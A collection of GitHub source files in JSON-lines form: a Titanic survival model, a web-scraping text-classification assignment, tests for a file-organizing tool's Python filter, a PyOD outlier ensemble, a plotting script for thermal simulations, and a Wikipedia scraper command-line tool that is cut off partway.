'Fare'] = 0\n dataset.loc[(dataset['Fare'] > 7.91) & (dataset['Fare'] <= 14.454), 'Fare'] = 1\n dataset.loc[(dataset['Fare'] > 14.454) & (dataset['Fare'] <= 31), 'Fare'] = 2\n dataset.loc[ dataset['Fare'] > 31, 'Fare'] = 3\n dataset['Fare'] = dataset['Fare'].astype(int)\ncombine = [train_df, test_df]\ntrain_df = train_df.drop(['FareBand'], axis=1)\n\n\ncombine = [train_df, test_df]\n\n# Convert gender to number\nfor dataset in combine:\n dataset['Sex'] = dataset['Sex'].map( {'male': 0, 'female': 1} ).astype(int)\ncombine = [train_df, test_df]\n\n# Data is now ready to be plugged into a model!!!\n\n#Use logistic regression\n#https://en.wikipedia.org/wiki/Logistic_regression\n\n# first, set up variables to compare\nX_train = train_df.drop(\"Survived\", axis=1)\nY_train = train_df[\"Survived\"]\nX_test = test_df.drop(\"PassengerId\", axis=1).copy()\n\n# Example of logistic regression\n#logreg = LogisticRegression()\n#logreg.fit(X_train, Y_train)\n#Y_pred = logreg.predict(X_test)\n#acc_log = round(logreg.score(X_train, Y_train) * 100, 2)\n\n# Example of Support Vector Machines\n# https://en.wikipedia.org/wiki/Support_vector_machine\n#coeff_df = pd.DataFrame(train_df.columns.delete(0))\n#coeff_df.columns = ['Feature']\n#coeff_df[\"Correlation\"] = pd.Series(logreg.coef_[0])\n#coeff_df.sort_values(by='Correlation', ascending=False)\n#svc = SVC()\n#svc.fit(X_train, Y_train)\n#Y_pred = svc.predict(X_test)\n#acc_svc = round(svc.score(X_train, Y_train) * 100, 2)\n\n# Example of \"K nearest neighbors\" or j-NN\n#https://en.wikipedia.org/wiki/K-nearest_neighbors_algorithm\n#knn = KNeighborsClassifier(n_neighbors = 3)\n#knn.fit(X_train, Y_train)\n#Y_pred = knn.predict(X_test)\n#acc_knn = round(knn.score(X_train, Y_train) * 100, 2)\n\n# Example of Naive Bayes classifiers\n#https://en.wikipedia.org/wiki/Naive_Bayes_classifier\n#gaussian = GaussianNB()\n#gaussian.fit(X_train, Y_train)\n#Y_pred = gaussian.predict(X_test)\n#acc_gaussian = round(gaussian.score(X_train, Y_train) * 100, 2)\n\n#Example of Perceptron\n#https://en.wikipedia.org/wiki/Perceptron\n#perceptron = Perceptron()\n#perceptron.fit(X_train, Y_train)\n#Y_pred = perceptron.predict(X_test)\n#acc_perceptron = round(perceptron.score(X_train, Y_train) * 100, 2)\n\n# Example of random forest\n# https://en.wikipedia.org/wiki/Random_forest\nrandom_forest = RandomForestClassifier(n_estimators=100)\nrandom_forest.fit(X_train, Y_train)\nY_pred = random_forest.predict(X_test)\nrandom_forest.score(X_train, Y_train)\nacc_random_forest = round(random_forest.score(X_train, Y_train) * 100, 2)\nacc_random_forest\n\nsubmission = pd.DataFrame({\n \"PassengerId\": test_df[\"PassengerId\"],\n \"Survived\": Y_pred\n })\n\nsubmission.to_csv('jsm_submission.csv', index=False)\n\n","repo_name":"nischalshrestha/automatic_wat_discovery","sub_path":"Notebooks/py/jacksmengel/jm-titanic-prediction/jm-titanic-prediction.py","file_name":"jm-titanic-prediction.py","file_ext":"py","file_size_in_byte":8985,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"15116577512","text":"\"\"\"\"\nauthor: Sam Luby\ndata science in python assignment 2\ncreated: 10th april 2018\n\"\"\"\n\nimport numpy as np\nimport urllib\nfrom bs4 import BeautifulSoup as bs\nimport os\nimport pandas as pd\nimport itertools\nimport re\nimport matplotlib.pyplot as plt\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport nltk\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.metrics import *\n\n######################################################################################################\n ############################\n # Part 1: Data Collection #\n ############################\n######################################################################################################\nbaseurl = \"http://mlg.ucd.ie/modules/COMP41680/archive/\"\n\n\n# get a list of all articles in all sub-pages of a website\ndef get_articles_list(baseurl):\n articles_list = list()\n months_list = list()\n\n # open url and get page contents\n f = urllib.request.urlopen(baseurl + \"index.html\")\n dat = f.read()\n page_contents = bs(dat, 'html.parser')\n\n # finds the links to sub-pages (monthly sub-page) on this index page (only legitimate links)\n for subpage in page_contents.find_all('a'):\n if len(subpage.get('href')) > 0:\n months_list.append(subpage.get('href'))\n\n # finds the links on the monthly sub-page which contains links to each article\n for i in range(len(months_list)):\n monthly_subpage = baseurl + months_list[i]\n f = urllib.request.urlopen(monthly_subpage)\n dat = f.read()\n monthly_contents = bs(dat, 'html.parser')\n\n # calls the get_category_labels function to add categories for each month to a file\n get_category_labels(monthly_contents)\n\n # get each link (each article) for the given month, append to list.\n for subpage in monthly_contents.find_all('a'):\n url = subpage.get('href')\n if \"article\" not in url:\n continue\n articles_list.append(url)\n return articles_list\n\n\n# get the category labels for each month, store in text file\ndef get_category_labels(monthly_contents):\n # create directory for saving articles\n file = open(\"categories/categories.txt\", \"a\")\n categories = \"\"\n\n # for the given monthly sub-page, put each article category into a file\n for category in monthly_contents.find_all('td', class_='category'):\n if \"N/A\" not in category.get_text():\n categories += category.get_text() + '\\n'\n file.write(categories)\n file.close()\n\n\n# gets the body of each article, by extracting plain text from

html tags\ndef get_article_content(article):\n\n # get each article url and open\n article_url = baseurl + article\n f = urllib.request.urlopen(article_url)\n dat = f.read()\n article_contents = bs(dat, 'html.parser')\n\n # get the content of each article, the text in each legitimate

paragraph\n article_text = article_contents.find('h2').get_text()\n for paragraph in article_contents.find_all('p', class_=''):\n article_text += (paragraph.get_text() + \"\\n\")\n return article_text\n\n\n# save the contents of each article into a separate text file.\ndef save_article_contents(articles):\n\n # save the contents of each article into a seperate text file\n for i in range(len(articles)):\n article_text = get_article_content(articles[i])\n path = \"data/\" + \"article_\" + str(i) + \".txt\"\n file = open(path, \"w\", encoding=\"utf-8\")\n file.write(article_text)\n if i % 10 == 0:\n print('Saved article #' + str(i))\n file.close()\n\n\n# only download files if necessary\ndef download_files(baseurl):\n data_path = \"data\"\n categories_path = \"categories\"\n\n # check if directory exists, if not then download everything\n if not os.path.isdir(data_path):\n print(\"Files not present, downloading\")\n os.mkdir(data_path)\n os.mkdir(categories_path)\n articles_list = get_articles_list(baseurl)\n save_article_contents(articles_list)\n else:\n print(\"Files already present.\")\n\n\n\ndownload_files(baseurl) # main function for data scraping\n\n\n######################################################################################################\n ###############################\n # Part 2: Text Classification #\n ###############################\n######################################################################################################\n# Part 2.1: Load documents\n\ndirectory_category = \"categories/categories.txt\"\ndirectory_articles = \"data/\"\n\n# load each category from file\ndef load_categories(directory):\n with open(directory) as f:\n categories = [line.rstrip() for line in f]\n return categories\n\n\n# load all filenames from subdirectory\ndef load_articles_filenames(directory):\n articles = []\n for file in os.listdir(directory):\n articles.append(file)\n return articles\n\n\n# natural sorting for each article file name, which is type string\ndef natural_sorting(file):\n return [int(c) if c.isdigit() else c for c in re.split('(\\d+)', file)]\n\n\n# create pandas dataframe from categories and article filenames\ndef create_dataframe():\n categories = load_categories(directory_category)\n articles = load_articles_filenames(directory_articles)\n articles.sort(key=natural_sorting)\n df = pd.DataFrame({'CATEGORY': categories, 'ARTICLE': articles})\n return df\n\n\n# load the contents (text) from each article\ndef load_all_articles_contents(number_of_articles):\n articles = list()\n articles_index = list()\n\n # for each article, append the contents and index to seperate lists\n for i in range(number_of_articles):\n file = open(\"data\\\\article_\" + str(i) + \".txt\", \"r\", encoding='utf-8')\n content = file.read()\n articles.append(content)\n articles_index.append(int(i))\n return articles, articles_index\n\n\ndf = create_dataframe()\nnumber_of_articles = len(df)\n\n\n# Part2.2: Create a document-term matrix\n\n# tokenizer and lemmatizer\ndef lemma_tokenizer(text):\n #tokenizer\n tokenize = CountVectorizer().build_tokenizer()\n tokens = tokenize(text)\n\n #lemmatisation\n lemmatizer = nltk.stem.WordNetLemmatizer()\n tokens_lemmatized = []\n for token in tokens:\n tokens_lemmatized.append(lemmatizer.lemmatize(token))\n return tokens_lemmatized\n\n\n# document term-matrix (frequency of terms)\ndef create_term_matrix(articles):\n words = []\n for i in articles:\n lemma_tokens = lemma_tokenizer(i)\n words.extend(lemma_tokens)\n\n # create TF-IDF weighted document-term matrix\n vectorizer = TfidfVectorizer(min_df=3, stop_words='english', tokenizer=lemma_tokenizer, ngram_range=(1, 3))\n term_matrix = vectorizer.fit_transform(articles)\n return term_matrix, vectorizer, words\n\n\n# print the list of the N most common words found in articles\ndef get_N_most_common_words(N, vectorizer, words):\n most_common = list()\n index = np.argsort(vectorizer.idf_)[::-1]\n for i in range(0, N):\n most_common.append(words[index[i]])\n print(most_common)\n\n\narticles, articles_index = load_all_articles_contents(number_of_articles)\nterm_matrix, vectorizer, words = create_term_matrix(articles)\n# print(term_matrix)\n# print(words)\n# print(vectorizer)\n# get_N_most_common_words(10, vectorizer, words)\n\n\n####################################\n# Classification Models #\n####################################\n\n# gets the article categories (no duplicates)\ndef get_categories(df):\n categories = df[['CATEGORY']].drop_duplicates()['CATEGORY'].tolist()\n for i in range(len(categories)):\n categories[i] = categories[i].replace(u'\\xa0', '')\n return categories\n\ncategories = get_categories(df)\nprint(categories)\n\n# isolate category column from dataframe\ntarget = df['CATEGORY']\ndata_train, data_test, target_train, target_test = train_test_split(term_matrix, target, test_size=0.2)\n\n# kNN - Nearest Neighbour\nmodel_kn = KNeighborsClassifier(n_neighbors=3)\nmodel_kn.fit(data_train, target_train)\npredicted_kn = model_kn.predict(data_test)\nknn_acc = accuracy_score(target_test, predicted_kn)\n\n# Naive Bayes\nmodel_nb = MultinomialNB()\nmodel_nb.fit(data_train, target_train)\npredicted_nb = model_nb.predict(data_test)\nnb_acc = accuracy_score(target_test, predicted_nb)\n\n\n# Support Vector Machines\nmodel_svc = SVC(kernel='linear')\nmodel_svc.fit(data_train, target_train)\npredicted_svc = model_svc.predict(data_test)\nsvc_acc = accuracy_score(target_test, predicted_svc)\n\n\n####################################\n# Evaluating Classification Models #\n####################################\n\n# Accuracy\nprint(\"Accuracy using kNN method: \" + str(round(knn_acc*100, 2)) + \"%\")\nprint(\"Accuracy using Naive Bayes method: \" + str(round(nb_acc*100, 2)) + \"%\")\nprint(\"Accuracy using SVM method: \" + str(round(svc_acc*100, 2)) + \"%\")\n\n\n# Cross-Validation Evaluation\nscores = cross_val_score(model_kn, term_matrix, target, cv=5, scoring='accuracy')\nprint(\"Evaluating kNN classifier with Cross-Validation yields avg score: \" + str(round(scores.mean()*100, 2)) + \"%\")\nscores = cross_val_score(model_nb, term_matrix, target, cv=5, scoring='accuracy')\nprint(\"Evaluating Naive Bayes classifier with Cross-Validation yields avg score: \" + str(round(scores.mean()*100, 2)) + \"%\")\nscores = cross_val_score(model_svc, term_matrix, target, cv=5, scoring='accuracy')\nprint(\"Evaluating SVC classifier with Cross-Validation yields avg score: \" + str(round(scores.mean()*100, 2)) + \"%\")\n\n\n# Confusion Matrix Evaluation\ncm_knn = confusion_matrix(target_test, predicted_kn)\nprint(\"kNN Confusion Matrix\" + '\\n' + str(cm_knn))\ncm_nb = confusion_matrix(target_test, predicted_nb)\nprint(\"Naive Bayes Confusion Matrix\" + '\\n' + str(cm_nb))\ncm_svc = confusion_matrix(target_test, predicted_svc)\nprint(\"SVM Confusion Matrix\" + '\\n' + str(cm_svc))\n\n\n# graph of confusion matrix\ndef plot_confusion_matrix(cm, classes,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True category')\n plt.xlabel('Predicted category')\n\n\n\n# plot individual confusion matrices\nplt.figure()\nplot_confusion_matrix(cm_knn, categories, title='kNN Confusion Matrix')\nplt.figure()\nplot_confusion_matrix(cm_nb, categories, title='Naive Bayes Confusion Matrix')\nplt.figure()\nplot_confusion_matrix(cm_svc, categories, title='SVM Confusion Matrix')\nplt.show()","repo_name":"sam-luby/DataSciPy-2","sub_path":"assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":11359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8201020599","text":"from unittest.mock import call\n\nfrom conftest import make_files, read_files\n\nfrom organize import core\nfrom organize.filters import Python\n\n\ndef test_basic():\n p = Python(\n \"\"\"\n return \"some-string\"\n \"\"\"\n )\n result = p.run()\n assert result.matches\n assert result.updates == {\"python\": \"some-string\"}\n\n\ndef test_python(testfs, mock_echo):\n make_files(\n testfs,\n [\"student-01.jpg\", \"student-01.txt\", \"student-02.txt\", \"student-03.txt\"],\n )\n config = \"\"\"\n rules:\n - locations: \".\"\n filters:\n - name\n - extension: txt\n - python: |\n return int(name.split('.')[0][-2:]) * 100\n actions:\n - echo: '{python}'\n \"\"\"\n core.run(config, simulate=False, working_dir=testfs)\n mock_echo.assert_has_calls(\n (\n call(\"100\"),\n call(\"200\"),\n call(\"300\"),\n ),\n any_order=True,\n )\n\n\ndef test_odd_detector(testfs, mock_echo):\n make_files(\n testfs,\n [\"student-01.txt\", \"student-02.txt\", \"student-03.txt\", \"student-04.txt\"],\n )\n config = \"\"\"\n rules:\n - locations: \".\"\n filters:\n - name\n - python: |\n return int(name.split('-')[1]) % 2 == 1\n actions:\n - echo: 'Odd student numbers: {name}'\n \"\"\"\n core.run(config, simulate=False, working_dir=testfs)\n mock_echo.assert_has_calls(\n (\n call(\"Odd student numbers: student-01\"),\n call(\"Odd student numbers: student-03\"),\n ),\n any_order=True,\n )\n\n\ndef test_python_dict(testfs, mock_echo):\n make_files(\n testfs,\n [\"foo-01.jpg\", \"foo-01.txt\", \"bar-02.txt\", \"baz-03.txt\"],\n )\n config = \"\"\"\n rules:\n - locations: \".\"\n filters:\n - extension: txt\n - name\n - python: |\n return {\n \"name\": name[:3],\n \"code\": int(name.split('.')[0][-2:]) * 100,\n }\n actions:\n - echo: '{python.code} {python.name}'\n \"\"\"\n core.run(config, simulate=False, working_dir=testfs)\n mock_echo.assert_has_calls(\n (\n call(\"100 foo\"),\n call(\"200 bar\"),\n call(\"300 baz\"),\n ),\n any_order=True,\n )\n\n\ndef test_name_reverser(testfs):\n make_files(testfs, [\"desrever.jpg\", \"emanelif.txt\"])\n config = \"\"\"\n rules:\n - locations: \".\"\n filters:\n - extension\n - name\n - python: |\n return {\n \"reversed_name\": name[::-1],\n }\n actions:\n - rename: '{python.reversed_name}.{extension}'\n \"\"\"\n core.run(config, simulate=False, working_dir=testfs)\n assert read_files(testfs) == {\n \"reversed.jpg\": \"\",\n \"filename.txt\": \"\",\n }\n\n\ndef test_folder_instructions(testfs):\n \"\"\"\n I would like to include path/folder-instructions into the filename because I have a\n lot of different files (and there are always new categories added) I don't want\n create rules for. For example my filename is\n\n '2019_Jobs_CategoryA_TagB_A-Media_content-name_V01_draft_eng.docx'\n\n which means: Move the file to the folder '2019/Jobs/CategoryA/TagB/Media/drafts/eng'\n whereby 'A-' is an additional instruction and should be removed from the filename\n afterwards ('2019_Jobs_CategoryA_TagB_content-name_V01_draft_eng.docx').\n\n I have a rough idea to figure it out with python but I'm new to it (see below a\n sketch). Is there a possibility to use such variables, conditions etc. with\n organizer natively? If no, is it possible to do it with Python in Organizer at all?\n\n - Transform file-string into array\n - Search for 'A-...', 'V...' and 'content-name' and get index of values\n - remove value 'A-... and 'content-name' of array\n - build new filename string\n - remove value 'V...' and 'A-' of array\n - build folder-path string (convert _ to /) etc.\n\n \"\"\"\n # inspired by: https://github.com/tfeldmann/organize/issues/52\n make_files(\n testfs,\n [\n \"2019_Jobs_CategoryA_TagB_A-Media_content-name_V01_draft_eng.docx\",\n \"2019_Work_CategoryC_V-Test_A-Audio_V14_final.pdf\",\n \"other.pdf\",\n ],\n )\n config = r\"\"\"\n rules:\n - locations: .\n filters:\n - extension:\n - pdf\n - docx\n - name:\n contains: \"_\"\n - python: |\n import fs\n parts = []\n instructions = dict()\n for part in name.split(\"_\"):\n if part.startswith(\"A-\"):\n instructions[\"A\"] = part[2:]\n elif part.startswith(\"V-\"):\n instructions[\"V\"] = part[2:]\n elif part.startswith(\"content-name\"):\n instructions[\"content\"] = part[12:]\n else:\n parts.append(part)\n return {\n \"new_path\": fs.path.join(*parts),\n \"instructions\": instructions,\n }\n actions:\n - echo: \"New path: {python.new_path}\"\n - echo: \"Instructions: {python.instructions}\"\n - echo: \"Value of A: {python.instructions.A}\"\n - move: \"{python.new_path}/{name}.{extension}\"\n \"\"\"\n core.run(config, simulate=False, working_dir=testfs)\n assert read_files(testfs) == {\n \"other.pdf\": \"\",\n \"2019\": {\n \"Jobs\": {\n \"CategoryA\": {\n \"TagB\": {\n \"V01\": {\n \"draft\": {\n \"eng\": {\n \"2019_Jobs_CategoryA_TagB_A-Media_content-name_V01_draft_eng.docx\": \"\",\n }\n }\n }\n }\n }\n },\n \"Work\": {\n \"CategoryC\": {\n \"V14\": {\n \"final\": {\n \"2019_Work_CategoryC_V-Test_A-Audio_V14_final.pdf\": \"\",\n }\n }\n }\n },\n },\n }\n","repo_name":"tfeldmann/organize","sub_path":"tests/filters/test_python.py","file_name":"test_python.py","file_ext":"py","file_size_in_byte":6573,"program_lang":"python","lang":"en","doc_type":"code","stars":1785,"dataset":"github-code","pt":"54"} +{"seq_id":"12982137832","text":"from sklearn.utils import check_array \n \nfrom pyod.models.base import BaseDetector \nfrom pyod.models.combination import average \nfrom pyod.models.lof import LOF \n\nimport numpy as np\n\nclass Ensemble(BaseDetector): \n \n def __init__(self, estimators=[LOF()], combination_function=average, contamination=0.1, **kwargs): \n super(Ensemble, self).__init__(contamination=contamination) \n self.estimators = estimators \n self.n_estimators_ = len(estimators) \n self.combination_function = combination_function \n self.kwargs = kwargs \n \n def fit(self, X, y=None): \n X = check_array(X) \n n_samples = X.shape[0] \n \n all_scores = np.zeros((n_samples,self.n_estimators_)) \n \n for i, estimator in enumerate(self.estimators): \n estimator.fit(X) \n all_scores[:,i] = estimator.decision_scores_ \n \n self.decision_scores_ = self.combination_function(all_scores, **self.kwargs) \n \n return self \n \n def decision_function(self, X): \n n_samples = X.shape[0] \n \n all_scores = np.zeros((n_samples,self.n_estimators_)) \n \n for i, estimator in enumerate(self.estimators): \n all_scores[:,i] = estimator.decision_function(X) \n \n return self.combination_function(all_scores, **self.kwargs)","repo_name":"RoelBouman/outlierdetection","sub_path":"additional_methods/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"16832404707","text":"import matplotlib\nmatplotlib.use('Agg')\nmatplotlib.rcParams['font.family'] = 'DejaVu Serif'\nmatplotlib.rcParams['mathtext.fontset'] = 'dejavuserif'\nmatplotlib.rcParams['mathtext.rm'] = 'DejaVu Serif'\nmatplotlib.rcParams['mathtext.it'] = 'DejaVu Serif:italic'\nmatplotlib.rcParams['mathtext.bf'] = 'DejaVu Serif:bold'\nmatplotlib.rcParams.update({'font.size': 9})\n\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport numpy as np\nimport h5py\n\nfrom scipy.interpolate import interp1d\n\nNRUNS=8\n\naspect = [0.25, 0.25, 0.25, 0.25, 0.25]\nCASES = [0.1, 0.5, 1, 2, 3]\nROOT_DIR='../'#good_2D_runs/z_bot_zero/'\nDIRS=['{:s}AN_2D_thermal_nrho{}_Re6e2_Pr1_aspect{}_Lz20/'.format(ROOT_DIR, nrho, ar) for nrho, ar in zip(CASES, aspect)] \n\naspect_2D = [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25]\nCASES_2D = [0.1, 0.5, 1, 2, 3, 4, 5, 6]\ncolor_dir = [1, 2, 3, 4, 5, 6, 7, 8]\nDIRS_2D=['{:s}AN_2D_thermal_nrho{}_Re6e2_Pr1_aspect{}_Lz20/'.format(ROOT_DIR, nrho, ar) for nrho, ar in zip(CASES_2D, aspect_2D)] \n\nCASES_3D = [0.1, 0.5, 1, 2, 3]\nAR_3D = [0.5, 0.5, 0.5, 0.5, 0.5]\nTHREED_DIR = '../'\nDIRS_3D=['{:s}FC_3D_thermal_Re6e2_Pr1_eps1.00e-4_nrho{}_aspect{}/'.format(THREED_DIR,nrho, ar) for nrho, ar in zip(CASES_3D, AR_3D)] \ndict_3D = {}\nfor i in range(len(CASES_3D)):\n dict_3D[CASES_3D[i]] = DIRS_3D[i]\n\n\nheight, width = 2.5, 3.25 \n\ngs = gridspec.GridSpec(1000, 1000)\nfig = plt.figure(figsize=(width, height))\n\nsubplots = []\npad = 100\np_width = 1000\np_height = int(np.floor(950)/3)\nsubplots = [( (50, 0), p_height*2, p_width),\n ( (50+p_height*2, 0), p_height, p_width),\n ]\n\nfig = plt.figure(figsize=(width, height))\naxs = [plt.subplot(gs.new_subplotspec(*args)) for args in subplots]\ncax = plt.subplot(gs.new_subplotspec((0, 0), 50, 1000))\n\nnorm = matplotlib.colors.Normalize(vmin=0.8, vmax=NRUNS)\nsm = plt.cm.ScalarMappable(cmap='viridis_r', norm=norm)\nsm.set_array([])\n\nfor i, direc in enumerate(DIRS_2D):\n f = h5py.File('{:s}/thermal_analysis/final_outputs.h5'.format(direc), 'r')\n x, y = f['d_measured'].value, f['r_measured'].value\n x_t, y_t = f['d_theory'].value, f['r_theory'].value\n f.close()\n color = sm.to_rgba(color_dir[i])\n axs[0].plot(x, y, marker='o', lw=0, markersize=3, markeredgecolor=(*color[:-1], 0.8), markerfacecolor=(*color[:-1], 0.2), markeredgewidth=0.5)\n axs[0].plot(x_t, y_t, c='k', lw=0.5)#c=color, lw=1)\n\n\n\nfor i, direc in enumerate(DIRS):\n f = h5py.File('{:s}/thermal_analysis/z_cb_file.h5'.format(direc), 'r')\n f_3D = h5py.File('{:s}/thermal_analysis/z_cb_file.h5'.format(dict_3D[CASES[i]]), 'r')\n t, d, r = f['times'].value, 20 - f['vortex_height'].value, f['vortex_radius'].value\n t3, d3, r3 = f_3D['times'].value, 20 - f_3D['vortex_height'].value, f_3D['vortex_radius'].value\n f.close()\n f_3D.close()\n\n if CASES[i] == 3:\n t3, d3, r3 = t3[:-15], d3[:-15], r3[:-15]\n\n\n color = sm.to_rgba(i+1)\n x2, y2, x3, y3 = d, r, d3, r3\n l = np.min((len(y2), len(y3)))\n# axs[0].plot(x2[:l], y2[:l], marker='o', lw=0, markersize=3, markeredgecolor=(*color[:-1], 0.8), markerfacecolor=(*color[:-1], 0.2), markeredgewidth=0.5)\n axs[0].plot(x3[:l], y3[:l], marker='+', lw=0, markersize=2, markeredgecolor='k', markerfacecolor='k', markeredgewidth=0.5)\n\n axs[1].axhline(1e-1, c='k', lw=0.25)\n axs[1].axhline(1e-2, c='k', lw=0.25)\n axs[1].axhline(1e-3, c='k', lw=0.25)\n# axs[1].axhline(10**(-1.5), c='k', lw=0.25)\n# axs[1].axhline(10**(-2.5), c='k', lw=0.25)\n\n diff = (1 - y2[:l]/y3[:l])\n pos = diff > 0\n neg = diff < 0\n\n func_3d = interp1d(x3, y3, bounds_error=False, fill_value='extrapolate')\n true_diff = (1 - y2/func_3d(x2))\n true_pos = true_diff > 0\n true_neg = true_diff < 0\n axs[1].plot(x2[:l][pos], diff[pos], markerfacecolor=color, markeredgecolor=color, marker='o', lw=0, markersize=2, markeredgewidth=0.35)\n axs[1].plot(x2[:l][neg], -diff[neg], markerfacecolor=(*color[:-1], 0), markeredgecolor=color, marker='o', lw=0, markersize=2, markeredgewidth=0.35)\n# axs[1].plot(x2[true_pos], true_diff[true_pos], markerfacecolor=color, markeredgecolor=color, marker='*', lw=0, markersize=2, markeredgewidth=0.35)\n# axs[1].plot(x2[true_neg], -true_diff[true_neg], markerfacecolor=(*color[:-1], 0), markeredgecolor=color, marker='*', lw=0, markersize=2, markeredgewidth=0.35)\n axs[1].set_yscale('log')\n axs[1].set_ylim(1e-4, 1e-1)\n axs[1].set_xlim(x2.min(), x2.max())\n\naxs[0].set_ylim(0.2, 2)\naxs[0].set_xlim(2, 20)\naxs[1].set_xlim(2, 20)\naxs[0].set_ylabel('Radius')\naxs[1].set_ylabel(r'$1 - \\frac{\\mathrm{AN}}{\\mathrm{FC}}$')\naxs[1].set_xlabel('Depth')\naxs[0].set_yscale('log')\naxs[0].tick_params(labelbottom=False)\naxs[0].set_yticks((0.3, 0.6, 1, 2))\naxs[0].get_yaxis().set_major_formatter(matplotlib.ticker.ScalarFormatter())\naxs[0].get_yaxis().set_minor_formatter(matplotlib.ticker.NullFormatter())\naxs[1].set_yticks((1e-4, 1e-3, 1e-2, 1e-1))\naxs[1].get_yaxis().set_minor_formatter(matplotlib.ticker.NullFormatter())\n\n\naxs[0].plot([100, 101], [100, 101], lw=0,markersize=3, marker='o', c='k', markerfacecolor=(1,1,1,0.8), markeredgecolor='k', label='2D AN', markeredgewidth=0.5)\naxs[0].plot([100, 101], [100, 101], lw=0,markersize=2, marker='+', c='k', label='3D FC', markeredgewidth=0.5)\naxs[0].legend(loc='upper left', frameon=False, fontsize=8, handletextpad=0.5, handlelength=0.8)\naxs[1].plot([100, 101], [100, 101], lw=0, markersize=3, marker='o', c='k', markerfacecolor=(0,0,0,0), markeredgecolor=(0,0,0,1), label='< 0', markeredgewidth=0.35)\naxs[1].plot([100, 101], [100, 101], lw=0, markersize=3, marker='o', c='k', markerfacecolor=(0,0,0,1), markeredgecolor=(0,0,0,1), label='> 0', markeredgewidth=0.35)\naxs[1].legend(loc='upper center', frameon=False, fontsize=8, handletextpad=0, borderpad=0, ncol=2, borderaxespad=0.3)\n\ncb = plt.colorbar(sm, cax=cax, orientation='horizontal', boundaries=np.linspace(1, NRUNS+1, NRUNS+1)-0.5, ticks=np.arange(NRUNS+1))\ncb.solids.set_rasterized(True)\ncax.xaxis.set_ticks_position('top')\ncax.xaxis.set_ticklabels([0.1, 0.5, 1, 2, 3, 4, 5, 6])\ncb.set_label(r'$N_\\rho$', labelpad=-30)\n\n\n#axs[0].text(2.25, 0.21, 'a', fontsize=10)\n#axs[1].text(2.25, 1.3e-4, 'b', fontsize=10)\n\n\nfig.savefig('diff_AN_FC.png', dpi=300, bbox_inches='tight')\nfig.savefig('diff_AN_FC.pdf', dpi=600, bbox_inches='tight')\n","repo_name":"evanhanders/entropyrain_thermals_paper2019","sub_path":"stratified_thermals_code/paper_plots/diff_AN_FC.py","file_name":"diff_AN_FC.py","file_ext":"py","file_size_in_byte":6370,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"17280281635","text":"from typing import List, Optional\nfrom .links_scraper_iter import WikiLinksScraperIter\nfrom .page_scraper_v2 import WikiPageScraperV2\nimport argparse\nimport os\nfrom multiprocessing import Pool\n\n\nDEFAULT_N_PROCESSES = 4\nDEFAULT_N_THREADS = 4\nDEFAULT_STRIDE = 2\nDEFAULT_MAX_LINKS_PER_INDEX = 100\nDEFAULT_MIN_CHARS = 512\nDEFAULT_BATCH_SIZE = 128\n\n\ndef main(links_scraper: WikiLinksScraperIter, page_scraper: WikiPageScraperV2, batch_size: int, indices: Optional[List[str]]):\n links_scraper.run_async(indices=indices)\n it = links_scraper.make_iterator()\n pool = Pool(page_scraper.n_processes)\n batch = []\n for link in it:\n if len(batch) < batch_size:\n batch.append(link)\n continue\n \n page_scraper.run(batch, pool=pool)\n batch = []\n \n if len(batch) > 0:\n page_scraper.run(batch)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n prog='Wikipedia Scraper',\n description='Scrapes text from Wikipedia articles and saves them in txt files (`article name`.txt) in the specified directory.')\n parser.add_argument('-np', '--n_processes', type=int, help=f'Number of processes (page scraper). Default: {DEFAULT_N_PROCESSES}',\n default=DEFAULT_N_PROCESSES)\n parser.add_argument('-nt', '--n_threads', type=int, help=f'Number of threads (links scraper). Default: {DEFAULT_N_THREADS}',\n default=DEFAULT_N_THREADS)\n parser.add_argument('-s', '--save_folder', type=str, help='Save folder path.')\n parser.add_argument('-st', '--stride', type=int, help=f'Scrape only each `stride`th link. Default: {DEFAULT_STRIDE}',\n default=DEFAULT_STRIDE)\n parser.add_argument('-max_l', '--max_links_per_index', type=int, help=f'Maximum number of links per index to scrape. Default: {DEFAULT_MAX_LINKS_PER_INDEX}',\n default=DEFAULT_MAX_LINKS_PER_INDEX)\n parser.add_argument('-min_c', '--min_chars', type=int, help='Minimum number of characters per paragraph. ' + \\\n f'Paragraphs with fewer characters are skipped. Default: {DEFAULT_MIN_CHARS}', default=DEFAULT_MIN_CHARS)\n parser.add_argument('-bs', '--batch_size', type=int, help=f'Links are grouped in batches and then scraped in multiple processes. Default: {DEFAULT_BATCH_SIZE}',\n default=DEFAULT_BATCH_SIZE)\n parser.add_argument('-ind', '--indices', type=str, help='Indices to scrape from. Example: Aa,Ba,Ca', default=None)\n \n args = parser.parse_args()\n \n links_scraper = WikiLinksScraperIter(\n stride=args.stride, n_max_links_per_index=args.max_links_per_index, \n n_threads=args.n_threads\n )\n page_scraper = WikiPageScraperV2(\n min_n_chars=args.min_chars, n_processes=args.n_processes, \n n_threads_per_process=2, save_folder=args.save_folder\n )\n \n os.makedirs(args.save_folder, 